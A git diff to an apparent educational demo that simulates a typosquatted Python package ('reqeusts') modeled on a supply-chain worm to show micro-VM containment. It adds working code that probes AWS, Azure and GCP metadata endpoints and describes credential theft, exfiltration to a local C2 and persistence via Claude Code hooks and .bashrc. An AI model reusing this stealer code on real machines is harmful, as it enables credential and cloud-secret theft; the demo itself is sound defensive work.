diff --git a/demos/supply-chain/.gitignore b/demos/supply-chain/.gitignore index 362475c..1fc869f 100644 --- a/demos/supply-chain/.gitignore +++ b/demos/supply-chain/.gitignore @@ -1 +1,3 @@ reqeusts/__pycache__/ +hl-unikraft/guest/ +hl-unikraft/workspace/ diff --git a/demos/supply-chain/README.md b/demos/supply-chain/README.md index be9bfbf..726e236 100644 --- a/demos/supply-chain/README.md +++ b/demos/supply-chain/README.md @@ -2,7 +2,8 @@ A safe, educational demonstration of a supply chain attack modeled on [Mini Shai-Hulud](https://thehackernews.com/2026/05/mini-shai-hulud-worm-compromises.html) -(TeamPCP, May 2026), showing how Hyperlight micro-VM isolation contains it. +(TeamPCP, May 2026), showing how Hyperlight micro-VM isolation contains it +**even when the guest has realistic capabilities**. ## Background @@ -11,37 +12,54 @@ TanStack, Mistral AI, Guardrails AI, and AntV — affecting 518M+ cumulative downloads. The attack used typosquatted/hijacked packages to: 1. **Steal credentials** — SSH keys, AWS creds, `.env` files, 80+ env vars -2. **Exfiltrate data** — triple-redundant C2 (custom domain, Session Protocol, GitHub dead drops) -3. **Install persistence** — Claude Code `SessionStart` hooks, VS Code `runOn`, LaunchAgents -4. **Self-propagate** — used stolen npm tokens to poison other packages +2. **Probe cloud metadata** — AWS IMDS, Azure IMDS, GCP metadata (169.254.169.254) +3. **Exfiltrate data** — triple-redundant C2 (custom domain, Session Protocol, GitHub dead drops) +4. **Install persistence** — Claude Code `SessionStart` hooks, VS Code `runOn`, LaunchAgents +5. **Self-propagate** — used stolen npm tokens to poison other packages ## What this demo does A fake typosquatted package (`reqeusts` instead of `requests`) simulates the attack payload. A victim application imports it, triggering the malicious code. - -**Bare metal** — the attack succeeds: secrets are stolen, exfiltrated, persistence installed. - -**Hyperlight sandbox** — every malicious action is blocked by the micro-VM's -default-deny security model: -- **Filesystem is isolated** — the guest runs on its own ramfs (from the CPIO - initrd). Host directories are only visible if explicitly mounted with - `--mount`, and even then access is scoped to that directory with path-escape - prevention. The attacker's `~/.ssh/id_rsa`, `~/.aws/credentials`, etc. simply - don't exist inside the VM. -- **Environment variables are compile-time only** — the guest kernel only has - `PATH` and `LD_LIBRARY_PATH` (set in `kraft.yaml`). There is no `--env` flag; - the host's environment is never forwarded. `AWS_ACCESS_KEY_ID`, `GITHUB_TOKEN`, - etc. are all absent. -- **Networking is opt-in** — without `--net`, the guest has zero network access - (`socket()` returns "Function not implemented"). Even with `--net`, outbound - connections can be restricted to specific hosts via `--net-allow`. -- **Persistence is impossible** — the guest's ramfs is destroyed when the VM - exits. There is no way to write to the host's `~/.claude/settings.json` or - `~/.bashrc` unless the host explicitly mounts those paths. +The victim app also does legitimate work: reads input from the workspace, +fetches data from `example.com`, and writes output. + +**Bare metal** — the attack succeeds: secrets stolen, exfiltrated, persistence +installed. Legitimate work also succeeds. + +**Hyperlight sandbox (scoped)** — the guest has real capabilities (`--mount` +for directory access, `--net-allow example.com` for network). Legitimate work +succeeds, but every malicious action is blocked by Hyperlight's security model: + +- **Credential theft → BLOCKED** — `~/.ssh/id_rsa`, `~/.aws/credentials`, etc. + are outside the mounted directory. The guest has filesystem access, but only + to the scoped directory (no HOME, no `/etc/passwd`). +- **Environment variables → NOT SET** — host environment is never forwarded to + the guest. `AWS_ACCESS_KEY_ID`, `GITHUB_TOKEN`, etc. are absent. +- **C2 exfiltration → BLOCKED** — loopback addresses (127.0.0.0/8) are + **always denied** regardless of network policy. The C2 server at + `127.0.0.1:8080` is unreachable. +- **Cloud metadata → BLOCKED** — link-local addresses (169.254.0.0/16) are + **always denied**. AWS IMDS, Azure IMDS, and GCP metadata at 169.254.169.254 + are all blocked — a hardcoded safety net, not a user-configurable policy. +- **Persistence → BLOCKED** — host dotfiles (`~/.claude/settings.json`, + `~/.bashrc`) are not mounted. The guest's ramfs is destroyed on exit. + +This is **active defense**, not just absence of resources. An empty Docker +container blocks the same attacks, but only because it has nothing to attack. +Hyperlight blocks them because its network policy engine and filesystem sandbox +enforce scoped access even when capabilities are granted. ## Running the demo +### Prerequisites + +Install `pyhl` (the Hyperlight Python runtime): + +```bash +cargo install --path host --bin pyhl +``` + ### Bare metal (attack succeeds) The script creates a temporary HOME with planted fake secrets, starts a C2 @@ -57,12 +75,14 @@ cd demos/supply-chain ```bash cd demos/supply-chain/hl-unikraft -# One-time setup -just build # Build or pull Unikraft kernel -just rootfs # Build rootfs with Python + malicious package +# One-time setup — installs kernel + rootfs, warms Python snapshot +just setup + +# Scoped sandbox: mount + network, attack still contained +just run -# Run -just run # Execute inside the sandbox +# Minimal sandbox: mount only, no network +just run-minimal ``` ### C2 server (standalone) @@ -80,15 +100,13 @@ supply-chain/ ├── reqeusts/ # Typosquatted package │ ├── __init__.py # Triggers payload on import │ ├── api.py # Fake requests-like API surface -│ └── stealer.py # Attack payload (6 phases) -├── victim_app.py # Legitimate-looking app that imports reqeusts +│ └── stealer.py # Attack payload (7 phases) +├── victim_app.py # App that imports reqeusts + does legitimate work ├── c2_server.py # Fake C2 server (receives exfiltrated data) ├── bare-metal/ │ └── run.sh # Bare-metal demo (plants secrets, runs attack) └── hl-unikraft/ - ├── Dockerfile # Rootfs with Python + malicious package - ├── kraft.yaml # Unikraft kernel config - └── Justfile # Build + run commands + └── Justfile # pyhl-based setup + run commands ``` ## Safety diff --git a/demos/supply-chain/bare-metal/run.sh b/demos/supply-chain/bare-metal/run.sh index d660990..cd2859b 100755 --- a/demos/supply-chain/bare-metal/run.sh +++ b/demos/supply-chain/bare-metal/run.sh @@ -3,10 +3,11 @@ # # This script: # 1. Creates a temporary HOME with planted fake secrets -# 2. Starts the C2 server in the background -# 3. Runs the victim app (stealer triggers on import) -# 4. Shows the modified persistence files -# 5. Cleans everything up +# 2. Creates a workspace with input data (legitimate workload) +# 3. Starts the C2 server in the background +# 4. Runs the victim app (stealer triggers on import) +# 5. Shows the modified persistence files and workspace output +# 6. Cleans everything up set -e SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" @@ -53,6 +54,11 @@ EOF touch "$DEMO_HOME/.bashrc" +# ── Create workspace with input data ───────────────────────────────── +WORKSPACE="$DEMO_HOME/workspace" +mkdir -p "$WORKSPACE" +echo "Hello from the host filesystem" > "$WORKSPACE/input.txt" + # ── Start C2 server ───────────────────────────────────────────────── python3 "$DEMO_DIR/c2_server.py" & C2_PID=$! @@ -66,6 +72,7 @@ echo "========================================" echo "" HOME="$DEMO_HOME" \ +WORKSPACE="$WORKSPACE" \ SUPPLY_CHAIN_DEMO=1 \ AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE \ AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY \ @@ -83,3 +90,9 @@ echo "" echo "── Post-attack: ~/.bashrc (last 3 lines) ────────────────────" tail -3 "$DEMO_HOME/.bashrc" echo "" + +# ── Show workspace output ──────────────────────────────────────────── +echo "" +echo "── Workspace output ─────────────────────────────────────────" +cat "$WORKSPACE/output.txt" 2>/dev/null || echo "(no output written)" +echo "" diff --git a/demos/supply-chain/graphic.html b/demos/supply-chain/graphic.html new file mode 100644 index 0000000..815d976 --- /dev/null +++ b/demos/supply-chain/graphic.html @@ -0,0 +1,262 @@ + + + + + + + +
+
+

Supply Chain Attack Containment — Mini Shai-Hulud

+
Same malicious Python package. Same payload. The guest has filesystem + networking capabilities.
+
+ +
+ +
+
Bare Metal (no sandbox)
+ +
+
Credential Theft
+
~/.ssh/id_rsa STOLEN (251 B)
+
~/.aws/credentials STOLEN (135 B)
+
~/.env STOLEN (295 B)
+
~/.claude/settings.json STOLEN (72 B)
+
+ +
+
Environment Variables
+
AWS_ACCESS_KEY_ID AKIAIOSFODNN7EXA***
+
AWS_SECRET_ACCESS_KEY wJalrXUtnFEMI/K7***
+
GITHUB_TOKEN ghp_xxxxxxxxxxxx***
+
+ +
+
Cloud Metadata (IMDS)
+
Azure IMDS STOLEN (200 B)
+
+ +
+
C2 Exfiltration
+
target: http://127.0.0.1:8080
+
status: SENT (HTTP 200)
+
+ +
+
Persistence
+
~/.claude/settings.json HOOK INJECTED
+
~/.bashrc BACKDOOR INJECTED
+
+ +
+ +
+
Legitimate Work
+
read input.txt OK
+
GET example.com OK (HTTP 200)
+
write output.txt OK
+
+ +
+ ATTACK SUCCEEDED +
4 files stolen · 3 env vars · 1 metadata endpoint · 2 persistence
+
+
+ + +
+
Hyperlight Micro-VM (--mount ./guest --net-allow example.com)
+ +
+
Credential Theft
+
~/.ssh/id_rsa BLOCKED (no home dir)
+
~/.aws/credentials BLOCKED (no home dir)
+
~/.env BLOCKED (no home dir)
+
~/.claude/settings.json BLOCKED (no home dir)
+
+ +
+
Environment Variables
+
AWS_ACCESS_KEY_ID NOT SET
+
AWS_SECRET_ACCESS_KEY NOT SET
+
GITHUB_TOKEN NOT SET
+
+ +
+
Cloud Metadata (IMDS)
+
Azure IMDS BLOCKED (link-local)
+
+ +
+
C2 Exfiltration
+
target: http://127.0.0.1:8080
+
status: BLOCKED -- loopback policy
+
+ +
+
Persistence
+
~/.claude/settings.json BLOCKED
+
~/.bashrc BLOCKED
+
+ +
+ +
+
Legitimate Work
+
read /host/workspace/input.txt OK
+
GET example.com OK (HTTP 200)
+
write /host/workspace/output.txt OK
+
+ +
+ ATTACK CONTAINED +
Legitimate work succeeded · All malicious actions blocked by active policy
+
+
+
+ + +
+ + diff --git a/demos/supply-chain/graphic.png b/demos/supply-chain/graphic.png new file mode 100644 index 0000000..be73e57 Binary files /dev/null and b/demos/supply-chain/graphic.png differ diff --git a/demos/supply-chain/hl-unikraft/Dockerfile b/demos/supply-chain/hl-unikraft/Dockerfile deleted file mode 100644 index 56a5bb6..0000000 --- a/demos/supply-chain/hl-unikraft/Dockerfile +++ /dev/null @@ -1,23 +0,0 @@ -# Supply chain attack demo rootfs -# -# Bundles the typosquatted `reqeusts` package and victim app into a -# Python rootfs for execution inside a Hyperlight micro-VM. -# -# Build: -# docker build --platform linux/amd64 --target cpio -t supply-chain-cpio -f Dockerfile .. - -ARG BASE=ghcr.io/hyperlight-dev/hyperlight-unikraft/python-base:latest -FROM ${BASE} AS rootfs - -# Install the typosquatted package into site-packages. -# The base image is a shell-less rootfs so RUN is not available; COPY only. -COPY reqeusts/ /usr/local/lib/python3.12/site-packages/reqeusts/ - -# Install the victim application -COPY victim_app.py /victim_app.py - -# --- CPIO rootfs builder --- -FROM alpine:3.20 AS cpio -RUN apk add --no-cache cpio findutils -COPY --from=rootfs / /rootfs/ -RUN cd /rootfs && find . | cpio -o -H newc > /output.cpio 2>/dev/null diff --git a/demos/supply-chain/hl-unikraft/Justfile b/demos/supply-chain/hl-unikraft/Justfile index 3440989..793849b 100644 --- a/demos/supply-chain/hl-unikraft/Justfile +++ b/demos/supply-chain/hl-unikraft/Justfile @@ -1,55 +1,44 @@ -# Supply chain attack demo — Hyperlight-Unikraft sandbox +# Supply chain attack demo — Hyperlight micro-VM (via pyhl) # -# just rootfs - Build rootfs with Python + malicious package -# just build - Build/pull Unikraft kernel -# just run - Run the victim app inside the sandbox -# just rebuild - Clean + rebuild everything - -set windows-shell := ["powershell.exe", "-NoLogo", "-Command"] -export DOCKER_BUILDKIT := "0" - -kernel := ".unikraft/build/python-hyperlight_hyperlight-x86_64" -initrd := "initrd.cpio" -memory := "512Mi" -image := "supply-chain-demo" -ghcr_kernel := "ghcr.io/hyperlight-dev/hyperlight-unikraft/python-kernel:latest" - -# Run the victim app inside the Hyperlight sandbox (no network, no hostfs) -run: - hyperlight-unikraft {{kernel}} --initrd {{initrd}} --memory {{memory}} -- /victim_app.py - -# Build rootfs via Docker -rootfs: - docker build --platform linux/amd64 --target cpio -t {{image}}-cpio -f Dockerfile .. - - docker rm -f {{image}}-tmp - docker create --name {{image}}-tmp {{image}}-cpio /bin/true - docker cp {{image}}-tmp:/output.cpio ./{{initrd}} - docker rm -f {{image}}-tmp - -# Build kernel via kraft (Linux) -[unix] -build: - -kraft-hyperlight build --plat hyperlight --arch x86_64 - -# Pull pre-built kernel from GHCR (Windows) -[windows] -build: - docker pull {{ghcr_kernel}} - - docker rm -f {{image}}-kernel-tmp - docker create --name {{image}}-kernel-tmp {{ghcr_kernel}} /kernel - New-Item -ItemType Directory -Force -Path (Split-Path {{kernel}}) | Out-Null - docker cp {{image}}-kernel-tmp:/kernel ./{{kernel}} - docker rm -f {{image}}-kernel-tmp - -# Clean + rebuild everything -rebuild: clean build rootfs - -# Clean build artifacts -[unix] -clean: - rm -rf .unikraft {{initrd}} - -[windows] -clean: - if (Test-Path .unikraft) { Remove-Item -Recurse -Force .unikraft } - if (Test-Path {{initrd}}) { Remove-Item -Force {{initrd}} } +# just setup - Install pyhl image with hostfs + networking snapshot +# just run - Scoped sandbox: mount + allowed network (active defense) +# just run-minimal - Minimal sandbox: mount only, no network + +demo_dir := justfile_directory() / ".." +guest_dir := justfile_directory() / "guest" + +# Prepare the guest directory: victim app + malicious package + workspace +[private] +prepare: + mkdir -p {{guest_dir}}/workspace {{guest_dir}}/reqeusts + echo "Hello from the host filesystem" > {{guest_dir}}/workspace/input.txt + cp {{demo_dir}}/victim_app.py {{guest_dir}}/victim_app.py + cp {{demo_dir}}/reqeusts/__init__.py {{guest_dir}}/reqeusts/__init__.py + cp {{demo_dir}}/reqeusts/api.py {{guest_dir}}/reqeusts/api.py + cp {{demo_dir}}/reqeusts/stealer.py {{guest_dir}}/reqeusts/stealer.py + +# Install pyhl image with hostfs + networking baked into snapshot +setup: prepare + pyhl setup --mount {{guest_dir}} --net + +# Scoped sandbox: guest has mount + network, but attack is still contained +# - Legitimate work succeeds: reads input.txt, GETs example.com, writes output.txt +# - Credential theft: BLOCKED (files outside mount don't exist) +# - Environment variables: NOT SET (host env never forwarded) +# - C2 exfiltration: BLOCKED (loopback always denied) +# - Cloud metadata: BLOCKED (link-local always denied) +# - Persistence: BLOCKED (host dotfiles not mounted) +run: prepare + pyhl run \ + --mount {{guest_dir}} \ + --net-allow example.com \ + -c "import sys; sys.path.insert(0, '/host'); exec(open('/host/victim_app.py').read())" + @echo "" + @echo "── Workspace after run ──" + @cat {{guest_dir}}/workspace/output.txt 2>/dev/null || echo "(no output written)" + +# Minimal sandbox: mount only (no network — everything malicious + network fails) +run-minimal: prepare + pyhl run \ + --mount {{guest_dir}} \ + -c "import sys; sys.path.insert(0, '/host'); exec(open('/host/victim_app.py').read())" diff --git a/demos/supply-chain/hl-unikraft/kraft.yaml b/demos/supply-chain/hl-unikraft/kraft.yaml deleted file mode 100644 index b8c013b..0000000 --- a/demos/supply-chain/hl-unikraft/kraft.yaml +++ /dev/null @@ -1,64 +0,0 @@ -# Supply chain demo — kraft configuration -# Identical to examples/python/kraft.yaml -specification: '0.6' -name: python-hyperlight - -unikraft: - source: https://github.com/unikraft/unikraft.git - version: plat-hyperlight - kconfig: - CONFIG_PLAT_HYPERLIGHT: 'y' - CONFIG_PAGING: 'n' - CONFIG_LIBUKVMEM: 'n' - CONFIG_LIBUKINTCTLR_HYPERLIGHT: 'y' - CONFIG_HYPERLIGHT_MAX_GUEST_LOG_LEVEL: 4 - - CONFIG_LIBUKPRINT_KLVL_CRIT: 'y' - CONFIG_LIBUKPRINT_PRINT_TIME: 'n' - CONFIG_LIBUKPRINT_PRINT_SRCNAME: 'n' - CONFIG_LIBUKBOOT_BANNER_NONE: 'y' - - CONFIG_OPTIMIZE_SIZE: 'y' - CONFIG_OPTIMIZE_PIE: 'y' - - CONFIG_LIBVFSCORE: 'y' - CONFIG_LIBVFSCORE_AUTOMOUNT_CI: 'y' - CONFIG_LIBVFSCORE_AUTOMOUNT_CI_CUSTOM: 'y' - CONFIG_LIBVFSCORE_AUTOMOUNT_CI0_MP: '/' - CONFIG_LIBVFSCORE_AUTOMOUNT_CI0_DRIVER: 'cpiovfs' - CONFIG_LIBVFSCORE_AUTOMOUNT_CI0_UKOPTS_IFINITRD0: 'y' - CONFIG_LIBCPIOVFS: 'y' - CONFIG_LIBUKCPIO: 'y' - - CONFIG_APPELFLOADER: 'y' - CONFIG_APPELFLOADER_VFSEXEC: 'y' - CONFIG_APPELFLOADER_CUSTOMAPPNAME: 'n' - CONFIG_APPELFLOADER_VFSEXEC_ENVPATH: 'n' - CONFIG_APPELFLOADER_VFSEXEC_PATH: '/usr/local/bin/python3' - CONFIG_APPELFLOADER_VFSEXEC_EXECBIT: 'n' - CONFIG_LIBPOSIX_ENVIRON_ENVP0: 'PATH=/usr/local/bin:/usr/bin:/bin' - CONFIG_LIBPOSIX_ENVIRON_ENVP1: 'LD_LIBRARY_PATH=/usr/local/lib' - CONFIG_LIBELF: 'y' - - CONFIG_LIBUKRANDOM_CMDLINE_SEED: 'y' - CONFIG_LIBUKRANDOM_GETRANDOM: 'y' - - CONFIG_LIBUKBOOT_MAINTHREAD: 'y' - CONFIG_LIBPOSIX_PROCESS_ARCH_PRCTL: 'y' - CONFIG_LIBPOSIX_PROCESS_MULTITHREADING: 'y' - CONFIG_LIBPOSIX_FUTEX: 'y' - - CONFIG_LIBUKMPI: 'y' - CONFIG_LIBUKMMAP: 'y' - -libraries: - app-elfloader: - source: https://github.com/unikraft/app-elfloader.git - version: plat-hyperlight - libelf: - source: https://github.com/unikraft/lib-libelf.git - version: staging - -targets: - - architecture: x86_64 - platform: hyperlight diff --git a/demos/supply-chain/reqeusts/stealer.py b/demos/supply-chain/reqeusts/stealer.py index 5e23bc5..e12d2ed 100644 --- a/demos/supply-chain/reqeusts/stealer.py +++ b/demos/supply-chain/reqeusts/stealer.py @@ -90,6 +90,37 @@ def run(): print(f"{_dots(k)} {v}") stolen["recon"] = recon + # ── Phase 1b: Cloud metadata probing (real Mini Shai-Hulud) ────── + _header("Phase 1b: Cloud Metadata (IMDS)") + metadata_targets = [ + ("AWS IMDSv1", "http://169.254.169.254/latest/meta-data/", {}), + ("Azure IMDS", "http://169.254.169.254/metadata/instance?api-version=2021-02-01", + {"Metadata": "true"}), + ("GCP metadata", "http://169.254.169.254/computeMetadata/v1/", + {"Metadata-Flavor": "Google"}), + ] + stolen_metadata = {} + for name, url, headers in metadata_targets: + try: + req = Request(url) + for k, v in headers.items(): + req.add_header(k, v) + with urlopen(req, timeout=2) as resp: + body = resp.read().decode()[:200] + print(f"{_dots(name)} STOLEN ({len(body)} B)") + stolen_metadata[name] = body + except OSError as e: + errno = getattr(e, "errno", None) or getattr(getattr(e, "reason", None), "errno", None) + if errno == 5: + print(f"{_dots(name)} BLOCKED (link-local policy)") + elif isinstance(e, socket.timeout): + print(f"{_dots(name)} TIMEOUT (no metadata service)") + elif errno == 111: + print(f"{_dots(name)} NOT AVAILABLE") + else: + print(f"{_dots(name)} BLOCKED") + stolen["metadata"] = stolen_metadata + # ── Phase 2: Credential theft ──────────────────────────────────── _header("Phase 2: Credential Theft") stolen_files = {} @@ -140,18 +171,20 @@ def run(): req.add_header("Content-Type", "application/json") with urlopen(req, timeout=5) as resp: print(f" status: SENT (HTTP {resp.status})") - except Exception as e: - msg = str(e) - if "Network is unreachable" in msg: + except OSError as e: + errno = getattr(e, "errno", None) or getattr(getattr(e, "reason", None), "errno", None) + if errno == 5: + print(" status: BLOCKED -- Connection denied (loopback policy)") + elif errno == 101: print(" status: BLOCKED -- Network is unreachable") - elif "Connection refused" in msg: + elif errno == 111: print(" status: BLOCKED -- Connection refused") - elif "timed out" in msg: + elif isinstance(e, socket.timeout): print(" status: BLOCKED -- Connection timed out") - elif "nodename nor servname" in msg or "Name or service not known" in msg: + elif errno == -2 or errno == -3: print(" status: BLOCKED -- DNS resolution failed") else: - print(f" status: BLOCKED -- {msg}") + print(f" status: BLOCKED -- {e}") # ── Phase 5: Persistence ───────────────────────────────────────── _header("Phase 5: Persistence (Claude Code + shell)") @@ -242,18 +275,21 @@ def run(): # ── Summary ────────────────────────────────────────────────────── n_files = len(stolen_files) n_env = len(stolen_env) + n_meta = len(stolen_metadata) print() print("=" * (W + 2)) - if n_files > 0 or n_env > 0: + if n_files > 0 or n_env > 0 or n_meta > 0: print(" RESULT: Attack SUCCEEDED") print(f" {n_files} credential file(s) stolen") print(f" {n_env} environment variable(s) harvested") + print(f" {n_meta} cloud metadata endpoint(s) reached") print(f" {persistence_count} persistence mechanism(s) installed") else: print(" RESULT: Attack CONTAINED by Hyperlight sandbox") print(" 0 credential files stolen") print(" 0 environment variables harvested") + print(" 0 cloud metadata endpoints reached") print(" 0 persistence mechanisms installed") print(" All malicious actions were blocked by VM isolation.") print("=" * (W + 2)) diff --git a/demos/supply-chain/victim_app.py b/demos/supply-chain/victim_app.py index 5353eef..644908d 100644 --- a/demos/supply-chain/victim_app.py +++ b/demos/supply-chain/victim_app.py @@ -2,18 +2,48 @@ """ A simple application that fetches data from an API. -The developer installed `reqeusts` instead of `requests` — a common +The developer installed `reqeusts` instead of `requests` -- a common typosquatting vector. The malicious payload runs silently on import. """ +import os import reqeusts +WORKSPACE = os.environ.get("WORKSPACE", "/host/workspace") + def main(): print("=== My Legitimate Application ===") - print("Processing data...") - print(f" reqeusts version: {reqeusts.__name__}") - print(f" API surface: get(), post()") + + # Read input from workspace + input_path = os.path.join(WORKSPACE, "input.txt") + try: + with open(input_path) as f: + data = f.read().strip() + print(f" input: {data}") + except FileNotFoundError: + data = "(no input file)" + print(f" input: {data}") + except Exception as e: + data = f"(error: {e})" + print(f" input: {data}") + + # Fetch from allowed external API + try: + resp = reqeusts.get("http://example.com/") + print(f" fetch: HTTP {resp.status_code} ({len(resp.text)} bytes)") + except Exception as e: + print(f" fetch: FAILED ({e})") + + # Write output to workspace + output_path = os.path.join(WORKSPACE, "output.txt") + try: + with open(output_path, "w") as f: + f.write(f"Processed: {data}\n") + print(f" output: {output_path} written") + except Exception as e: + print(f" output: FAILED ({e})") + print("Application finished.")